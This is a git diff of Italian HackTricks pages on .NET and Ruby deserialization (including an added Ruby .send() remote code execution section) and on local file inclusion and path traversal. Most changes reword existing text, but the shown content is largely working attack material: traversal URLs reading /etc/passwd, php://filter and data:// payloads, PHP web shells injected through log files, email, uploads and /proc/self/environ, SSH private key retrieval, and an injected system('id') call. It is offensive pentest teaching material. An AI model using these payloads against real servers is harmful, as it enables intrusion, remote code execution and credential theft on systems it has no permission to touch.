@ -710,7 +710,7 @@ Per mitigare i rischi associati alla deserializzazione in .Net:
|
|||
* **Evita di permettere ai flussi di dati di definire i loro tipi di oggetti.** Utilizza `DataContractSerializer` o `XmlSerializer` quando possibile.
|
||||
* **Per `JSON.Net`, imposta `TypeNameHandling` su `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
* **Evita di utilizzare `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
|
||||
* **Limita i tipi che possono essere deserializzati**, comprendendo i rischi intrinseci con i tipi di .Net, come `System.IO.FileInfo`, che possono modificare le proprietà dei file del server, potenzialmente portando a attacchi di negazione del servizio.
|
||||
* **Limita i tipi che possono essere deserializzati**, comprendendo i rischi intrinseci con i tipi di .Net, come `System.IO.FileInfo`, che possono modificare le proprietà dei file del server, portando potenzialmente a attacchi di denial of service.
|
||||
* **Sii cauto con i tipi che hanno proprietà rischiose**, come `System.ComponentModel.DataAnnotations.ValidationException` con la sua proprietà `Value`, che può essere sfruttata.
|
||||
* **Controlla in modo sicuro l'istanziazione dei tipi** per impedire agli attaccanti di influenzare il processo di deserializzazione, rendendo vulnerabili anche `DataContractSerializer` o `XmlSerializer`.
|
||||
* **Implementa controlli di whitelist** utilizzando un `SerializationBinder` personalizzato per `BinaryFormatter` e `JSON.Net`.
|
||||
|
@ -807,3 +807,56 @@ puts "Payload (Base64 encoded):"
|
|||
puts Base64.encode64(payload)
|
||||
```
|
||||
Altra catena RCE per sfruttare Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Metodo Ruby .send()
|
||||
|
||||
Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanificato dall'utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo permette di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
|
||||
|
||||
Per esempio, chiamare eval e poi codice ruby come secondo parametro permetterà di eseguire codice arbitrario:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Inoltre, se solo un parametro di **`.send()`** è controllato da un attaccante, come già menzionato nella precedente descrizione, è possibile chiamare qualsiasi metodo dell'oggetto che **non richiede argomenti** o i cui argomenti hanno **valori predefiniti**.\
|
||||
Per fare ciò, è possibile enumerare tutti i metodi dell'oggetto per **trovare alcuni metodi interessanti che soddisfano tali requisiti**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
# This code is taken from the original blog post
|
||||
# <Object> in this case is Repository
|
||||
## Find methods with those requirements
|
||||
repo = Repository.find(1) # get first repo
|
||||
repo_methods = [ # get names of all methods accessible by Repository object
|
||||
repo.public_methods(),
|
||||
repo.private_methods(),
|
||||
repo.protected_methods(),
|
||||
].flatten()
|
||||
|
||||
repo_methods.length() # Initial number of methods => 5542
|
||||
|
||||
## Filter by the arguments requirements
|
||||
candidate_methods = repo_methods.select() do |method_name|
|
||||
[0, -1].include?(repo.method(method_name).arity())
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -22,10 +22,10 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
|||
Coinvolgiti con contenuti che esplorano l'emozione e le sfide dell'hacking
|
||||
|
||||
**Notizie sull'hacking in tempo reale**\
|
||||
Resta aggiornato con il mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale
|
||||
Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||
|
||||
**Ultimi Annunci**\
|
||||
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
||||
|
||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
||||
|
||||
|
@ -105,15 +105,15 @@ Forse il back-end sta controllando il percorso della cartella:
|
|||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Esplorazione delle directory del sistema di file su un server
|
||||
### Esplorazione delle Directory del File System su un Server
|
||||
|
||||
Il sistema di file di un server può essere esplorato in modo ricorsivo per identificare directory, non solo file, utilizzando determinate tecniche. Questo processo implica la determinazione della profondità della directory e il sondaggio per verificare l'esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
|
||||
Il file system di un server può essere esplorato in modo ricorsivo per identificare directory, non solo file, utilizzando determinate tecniche. Questo processo implica il determinare la profondità della directory e sondare l'esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
|
||||
|
||||
1. **Determinare la Profondità della Directory:** Accertare la profondità della directory corrente ottenendo con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Sonda per Cartelle:** Aggiungi il nome della cartella sospettata (ad esempio, `private`) all'URL, quindi torna alla directory `/etc/passwd`. Il livello aggiuntivo della directory richiede di incrementare la profondità di uno:
|
||||
2. **Sonda per Cartelle:** Aggiungi il nome della cartella sospettata (ad esempio, `private`) all'URL, quindi naviga nuovamente a `/etc/passwd`. Il livello aggiuntivo della directory richiede di incrementare la profondità di uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
|
@ -136,7 +136,7 @@ In PHP, varie rappresentazioni di un percorso del file possono essere considerat
|
|||
* Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file di destinazione.
|
||||
* Allo stesso modo, se viene aggiunto `.php` a un percorso del file (come `shellcode.php`), aggiungere `/.` alla fine non altererà il file che viene accesso.
|
||||
|
||||
Gli esempi forniti dimostrano come utilizzare il troncamento del percorso per accedere a `/etc/passwd`, un obiettivo comune a causa del suo contenuto sensibile (informazioni sull'account utente):
|
||||
Gli esempi forniti dimostrano come utilizzare il troncamento del percorso per accedere a `/etc/passwd`, un obiettivo comune a causa dei suoi contenuti sensibili (informazioni sull'account utente):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
|
@ -146,13 +146,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
|||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
In questi scenari, il numero di attraversamenti necessari potrebbe essere di circa 2027, ma questo numero può variare in base alla configurazione del server.
|
||||
In questi scenari, il numero di attraversamenti necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server.
|
||||
|
||||
* **Utilizzo di segmenti puntati e caratteri aggiuntivi**: Le sequenze di attraversamento (`../`) combinate con segmenti puntati e caratteri aggiuntivi possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
|
||||
* **Determinazione del numero di attraversamenti necessari**: Attraverso tentativi ed errori, è possibile trovare il numero preciso di sequenze `../` necessarie per navigare alla directory radice e quindi a `/etc/passwd`, garantendo che qualsiasi stringa aggiunta (come `.php`) venga neutralizzata ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
|
||||
* **Determinazione del numero necessario di attraversamenti**: Attraverso tentativi ed errori, è possibile trovare il numero preciso di sequenze `../` necessarie per navigare alla directory radice e quindi a `/etc/passwd`, garantendo che le stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
|
||||
* **Iniziare con una directory fittizia**: È pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene utilizzata come misura precauzionale o per soddisfare i requisiti della logica di analisi del percorso del server.
|
||||
|
||||
Nell'utilizzo delle tecniche di troncamento del percorso, è fondamentale comprendere il comportamento di analisi del percorso del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso e spesso è necessario effettuare test per trovare il metodo più efficace.
|
||||
Nell'utilizzo delle tecniche di troncamento del percorso, è cruciale comprendere il comportamento di analisi del percorso del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso e spesso è necessario effettuare test per trovare il metodo più efficace.
|
||||
|
||||
**Questa vulnerabilità è stata corretta in PHP 5.3.**
|
||||
|
||||
|
@ -203,11 +203,11 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|||
```
|
||||
È il comportamento previsto secondo [i documenti](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e la concatenazione continua dal componente del percorso assoluto.
|
||||
> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono eliminati e la concatenazione continua dal componente del percorso assoluto.
|
||||
|
||||
## Elenco delle directory Java
|
||||
## Elenco directory Java
|
||||
|
||||
Sembra che se si ha una Traversata del Percorso in Java e si **chiede una directory** invece di un file, viene restituito un **elenco della directory**. Questo non accadrà in altre lingue (per quanto ne so).
|
||||
Sembra che se si ha una Traversata di Percorso in Java e si **chiede una directory** invece di un file, viene restituito un **elenco della directory**. Questo non accadrà in altre lingue (per quanto ne so).
|
||||
|
||||
## Top 25 parametri
|
||||
|
||||
|
@ -239,40 +239,40 @@ Ecco l'elenco dei primi 25 parametri che potrebbero essere vulnerabili alle vuln
|
|||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI utilizzando wrapper e protocolli PHP
|
||||
## LFI / RFI usando wrapper e protocolli PHP
|
||||
|
||||
### php://filter
|
||||
|
||||
I filtri PHP consentono di eseguire **operazioni di modifica di base sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||||
|
||||
* [Filtri di stringhe](https://www.php.net/manual/en/filters.string.php):
|
||||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che si trova tra i caratteri "<" e ">")
|
||||
* Nota che questo filtro è scomparso dalle versioni moderne di PHP
|
||||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che si trova tra i caratteri "<" e ">")
|
||||
* Nota che questo filtro è scomparso dalle versioni moderne di PHP
|
||||
* [Filtri di conversione](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*`: Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere l'**elenco di tutte le codifiche** supportate esegui in console: `iconv -l`
|
||||
* `convert.base64-encode`
|
||||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*`: Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere l'**elenco di tutte le codifiche** supportate, eseguire nella console: `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
Sfruttando il filtro di conversione `convert.iconv.*` è possibile **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per rendere arbitrario il processo di inclusione di una funzione. Per ulteriori informazioni consulta [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md).
|
||||
Abusando del filtro di conversione `convert.iconv.*` è possibile **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o rendere un processo di inclusione di funzioni arbitrario. Per ulteriori informazioni, controllare [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md).
|
||||
{% endhint %}
|
||||
|
||||
* [Filtri di compressione](https://www.php.net/manual/en/filters.compression.php)
|
||||
* `zlib.deflate`: Comprime il contenuto (utile se si sta esfiltrando molte informazioni)
|
||||
* `zlib.inflate`: Decomprime i dati
|
||||
* `zlib.deflate`: Comprimi il contenuto (utile se si sta esfiltrando molte informazioni)
|
||||
* `zlib.inflate`: Decomprimi i dati
|
||||
* [Filtri di crittografia](https://www.php.net/manual/en/filters.encryption.php)
|
||||
* `mcrypt.*`: Deprecato
|
||||
* `mdecrypt.*`: Deprecato
|
||||
* `mcrypt.*`: Deprecato
|
||||
* `mdecrypt.*`: Deprecato
|
||||
* Altri filtri
|
||||
* Eseguendo in php `var_dump(stream_get_filters());` è possibile trovare un paio di **filtri inaspettati**:
|
||||
* `consumed`
|
||||
* `dechunk`: inverte la codifica chunked HTTP
|
||||
* `convert.*`
|
||||
* Eseguendo in php `var_dump(stream_get_filters());` è possibile trovare un paio di **filtri inaspettati**:
|
||||
* `consumed`
|
||||
* `dechunk`: inverte la codifica chunked HTTP
|
||||
* `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
||||
|
@ -305,19 +305,19 @@ La parte "php://filter" non fa distinzione tra maiuscole e minuscole
|
|||
|
||||
### Utilizzo dei filtri php come oracolo per leggere file arbitrari
|
||||
|
||||
[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza ottenere l'output restituito dal server. Questa tecnica si basa su una **esfiltrazione booleana del file (carattere per carattere) utilizzando i filtri php** come oracolo. Questo perché i filtri php possono essere utilizzati per rendere un testo sufficientemente grande da far generare un'eccezione a php.
|
||||
[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza ottenere l'output restituito dal server. Questa tecnica si basa su un **esfiltrazione booleana del file (carattere per carattere) utilizzando i filtri php** come oracolo. Questo perché i filtri php possono essere utilizzati per rendere un testo sufficientemente grande da far generare un'eccezione a php.
|
||||
|
||||
Nel post originale è possibile trovare una spiegazione dettagliata della tecnica, ma ecco un breve riassunto:
|
||||
Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma ecco un breve riassunto:
|
||||
|
||||
* Utilizzare il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa.
|
||||
* Questo verrà utilizzato per generare un **testo così grande quando la lettera iniziale viene indovinata correttamente** che php genererà un **errore**
|
||||
* Il filtro **dechunk** **rimuoverà tutto se il primo carattere non è un esadecimale**, quindi possiamo sapere se il primo carattere è esadecimale.
|
||||
* Il filtro **dechunk** **rimuoverà tutto se il primo carattere non è esadecimale**, quindi possiamo sapere se il primo carattere è esadecimale.
|
||||
* Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando facciamo abbastanza trasformazioni per far sì che non sia più un carattere esadecimale. Perché se è esadecimale, dechunk non lo eliminerà e la bomba iniziale farà generare un errore a php.
|
||||
* Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, ad esempio perché se applichiamo 6 di questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non lo elimina e viene generato l'errore di php perché si moltiplica con la bomba iniziale.
|
||||
* Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, ad esempio, perché se applichiamo 6 di questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non lo elimina e viene generato l'errore di php perché si moltiplica con la bomba iniziale.
|
||||
* Utilizzando altre trasformazioni come **rot13** all'inizio è possibile esfiltrare altre lettere come n, o, p, q, r (e altri codec possono essere utilizzati per spostare altre lettere nell'intervallo esadecimale).
|
||||
* Quando il carattere iniziale è un numero è necessario codificarlo in base64 e esfiltrare le prime 2 lettere per esfiltrare il numero.
|
||||
* Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria di ordine come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere nelle prime posizioni altre lettere del testo.
|
||||
* E per poter ottenere **ulteriori dati** l'idea è quella di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **ruotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a fare ciò fino a raggiungere il bit desiderato da esfiltrare.
|
||||
* Quando il carattere iniziale è un numero è necessario codificarlo in base64 e rilasciare le prime 2 lettere per rilasciare il numero.
|
||||
* Il problema finale è vedere **come rilasciare più della lettera iniziale**. Utilizzando filtri di memoria di ordine come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere nelle prime posizioni altre lettere del testo.
|
||||
* E per poter ottenere **ulteriori dati** l'idea è quella di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **ruotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a fare ciò fino a raggiungere il bit desiderato da rilasciare.
|
||||
|
||||
Nel post è stato anche rilasciato uno strumento per eseguire questo processo automaticamente: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
|
@ -350,7 +350,7 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
```
|
||||
### data://
|
||||
|
||||
Il protocollo `data://` consente di specificare i dati direttamente all'interno di un URL anziché fare riferimento a una risorsa esterna. Questo può essere sfruttato per l'inclusione di file al fine di eseguire attacchi di inclusione di file.
|
||||
Il protocollo `data://` consente di specificare i dati direttamente nell'URL anziché fare riferimento a una risorsa esterna. Questo può essere sfruttato per l'inclusione di file, consentendo a un attaccante di inserire dati arbitrari all'interno di un'applicazione web.
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -402,6 +402,12 @@ Per una comprensione dettagliata dello sfruttamento delle vulnerabilità di dese
|
|||
[phar-deserialization.md](phar-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Era possibile abusare **di qualsiasi file arbitrario letto da PHP che supporta i filtri php** per ottenere un RCE. La descrizione dettagliata può essere **trovata in questo post**.\
|
||||
Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato abusato per **alterare la catena di chunk liberi** di una dimensione specifica al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||||
Era possibile allocare chunk di dimensioni specifiche abusando di più filtri php.
|
||||
|
||||
### Altri protocolli
|
||||
|
||||
Controlla più possibili [**protocolli da includere qui**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
@ -431,7 +437,7 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe utilizz
|
|||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
È importante **codificare gli URL** di questi payload.
|
||||
È importante **codificare gli URL di questi payload**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -470,9 +476,9 @@ Per i dettagli tecnici consulta il post menzionato!
|
|||
|
||||
Già spiegato in precedenza, [**seguire questo link**](./#remote-file-inclusion).
|
||||
|
||||
### Tramite file di log di Apache/Nginx
|
||||
### Attraverso il file di log di Apache/Nginx
|
||||
|
||||
Se il server Apache o Nginx è **vulnerabile all'LFI** all'interno della funzione di inclusione, potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostare all'interno dell'**user agent** o all'interno di un **parametro GET** una shell php come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||
Se il server Apache o Nginx è **vulnerabile all'LFI** all'interno della funzione di inclusione, potresti provare ad accedere a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, impostare all'interno dell'**user agent** o all'interno di un **parametro GET** una shell PHP come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nota che **se usi virgolette doppie** per la shell invece di **virgolette singole**, le virgolette doppie verranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** e **null'altro verrà eseguito**.
|
||||
|
@ -481,7 +487,7 @@ Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un
|
|||
{% endhint %}
|
||||
|
||||
Questo potrebbe essere fatto anche in altri log ma **fai attenzione**, il codice all'interno dei log potrebbe essere codificato in URL e questo potrebbe distruggere la Shell. L'intestazione **authorisation "basic"** contiene "user:password" in Base64 e viene decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
|
||||
Altri possibili percorsi di log:
|
||||
Altri possibili percorsi dei log:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
|
@ -497,7 +503,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### Tramite Email
|
||||
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e cerca di includerlo nella mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova ad includerlo nella mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Tramite /proc/\*/fd/\*
|
||||
|
||||
|
@ -506,19 +512,17 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### Tramite /proc/self/environ
|
||||
|
||||
Come un file di log, invia il payload nell'User-Agent, che verrà riflesso all'interno del file /proc/self/environ
|
||||
Come un file di log, invia il payload nell'User-Agent, verrà riflesso all'interno del file /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Tramite caricamento
|
||||
|
||||
Se puoi caricare un file, inietta semplicemente il payload della shell al suo interno (ad esempio: `<?php system($_GET['c']); ?>`).
|
||||
Se puoi caricare un file, inserisci semplicemente il payload della shell al suo interno (ad esempio: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Per mantenere il file leggibile è meglio iniettare nei metadati delle immagini/doc/pdf
|
||||
|
||||
### Tramite caricamento di file Zip
|
||||
|
||||
Carica un file ZIP contenente una shell PHP compressa e accedi:
|
||||
|
@ -549,14 +553,14 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
|||
|
||||
Se ssh è attivo, controlla quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a **\<HOME>/.ssh/id\_rsa**
|
||||
|
||||
### Tramite i _logs_ di **vsftpd**
|
||||
### **Tramite** **registri** **vsftpd**
|
||||
|
||||
I _logs_ del server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nel caso in cui esista una vulnerabilità di Inclusione di File Locale (LFI) e l'accesso a un server vsftpd esposto sia possibile, si possono considerare i seguenti passaggi:
|
||||
I registri del server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nel caso in cui esista una vulnerabilità di Inclusione di File Locale (LFI) e l'accesso a un server vsftpd esposto sia possibile, si possono considerare i seguenti passaggi:
|
||||
|
||||
1. Inietta un payload PHP nel campo dell'username durante il processo di accesso.
|
||||
2. Dopo l'iniezione, utilizza il LFI per recuperare i _logs_ del server da _**/var/log/vsftpd.log**_.
|
||||
1. Iniettare un payload PHP nel campo dell'username durante il processo di accesso.
|
||||
2. Dopo l'iniezione, utilizzare il LFI per recuperare i registri del server da _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Tramite il filtro base64 di php (usando base64)
|
||||
### Tramite filtro php base64 (usando base64)
|
||||
|
||||
Come mostrato in [questo](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, il filtro base64 di PHP ignora semplicemente i Non-base64. Puoi utilizzarlo per aggirare il controllo dell'estensione del file: se fornisci base64 che termina con ".php", esso ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
|
||||
```url
|
||||
|
@ -574,13 +578,13 @@ Questo [**articolo**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e2
|
|||
|
||||
### Attraverso segmentation fault
|
||||
|
||||
**Carica** un file che verrà memorizzato come **temporaneo** in `/tmp`, quindi nella **stessa richiesta**, provoca un **segmentation fault**, e quindi il **file temporaneo non verrà eliminato** e potrai cercarlo.
|
||||
**Carica** un file che verrà memorizzato come **temporaneo** in `/tmp`, quindi nella **stessa richiesta,** provoca un **segmentation fault**, e quindi il **file temporaneo non verrà eliminato** e potrai cercarlo.
|
||||
|
||||
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Attraverso lo storage dei file temporanei di Nginx
|
||||
### Attraverso lo storage temporaneo dei file di Nginx
|
||||
|
||||
Se hai trovato una **Inclusione di File Locale** e **Nginx** è in esecuzione davanti a PHP, potresti essere in grado di ottenere RCE con la seguente tecnica:
|
||||
|
||||
|
@ -612,9 +616,9 @@ Se hai trovato una **Inclusione di File Locale** e un file che espone **phpinfo(
|
|||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Attraverso compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgazione del percorso
|
||||
### Attraverso compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Rivelazione del percorso
|
||||
|
||||
Se hai trovato una **Inclusione di File Locale** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha marcature PHP**, puoi provare a **bypassare tale controllo** con questa **Condizione di Gara**:
|
||||
Se hai trovato una **Inclusione di File Locale** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha marcature PHP**, puoi provare a **bypassare quel controllo** con questa **Condizione di Gara**:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
